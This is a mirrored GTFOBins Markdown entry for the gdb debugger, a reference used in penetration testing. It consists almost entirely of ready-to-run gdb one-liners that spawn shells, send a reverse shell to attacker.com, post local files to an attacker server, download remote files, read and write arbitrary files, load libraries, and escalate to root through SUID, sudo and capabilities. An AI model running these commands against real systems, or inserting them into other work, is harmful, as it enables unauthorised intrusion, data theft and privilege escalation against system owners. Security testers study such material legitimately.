mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
59 lines
2.9 KiB
Markdown
59 lines
2.9 KiB
Markdown
---
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functions:
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shell:
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- code: gdb -nx -ex '!sh' -ex quit
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reverse-shell:
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- description: This requires that GDB is compiled with Python support. Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.
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code: |
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export RHOST=attacker.com
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export RPORT=12345
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gdb -nx -ex 'python import sys,socket,os,pty;s=socket.socket()
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s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
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[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
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pty.spawn("/bin/sh")' -ex quit
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file-upload:
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- description: This requires that GDB is compiled with Python support. Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.
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code: |
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export URL=http://attacker.com/
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export LFILE=file_to_send
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gdb -nx -ex 'python import sys; from os import environ as e
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if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
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else: import urllib as u, urllib2 as r
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r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))' -ex quit
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- description: This requires that GDB is compiled with Python support. Serve files in the local folder running an HTTP server.
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code: |
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export LPORT=8888
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gdb -nx -ex 'python import sys; from os import environ as e
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if sys.version_info.major == 3: import http.server as s, socketserver as ss
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else: import SimpleHTTPServer as s, SocketServer as ss
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ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' -ex quit
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file-download:
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- description: This requires that GDB is compiled with Python support. Fetch a remote file via HTTP GET request.
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code: |
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export URL=http://attacker.com/file_to_get
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export LFILE=file_to_save
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gdb -nx -ex 'python import sys; from os import environ as e
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if sys.version_info.major == 3: import urllib.request as r
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else: import urllib as r
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r.urlretrieve(e["URL"], e["LFILE"])' -ex quit
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file-write:
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- description: This requires that GDB is compiled with Python support.
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code: |
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LFILE=file_to_write
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gdb -nx -ex "dump value $LFILE \"DATA\"" -ex quit
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file-read:
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- description: This requires that GDB is compiled with Python support.
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code: gdb -nx -ex 'python print(open("file_to_read").read())' -ex quit
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library-load:
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- description: This requires that GDB is compiled with Python support.
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code: gdb -nx -ex 'python from ctypes import cdll; cdll.LoadLibrary("lib.so")' -ex quit
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suid:
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- description: This requires that GDB is compiled with Python support.
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code: ./gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
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sudo:
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- code: sudo gdb -nx -ex '!sh' -ex quit
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capabilities:
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- description: This requires that GDB is compiled with Python support.
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code: ./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
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---
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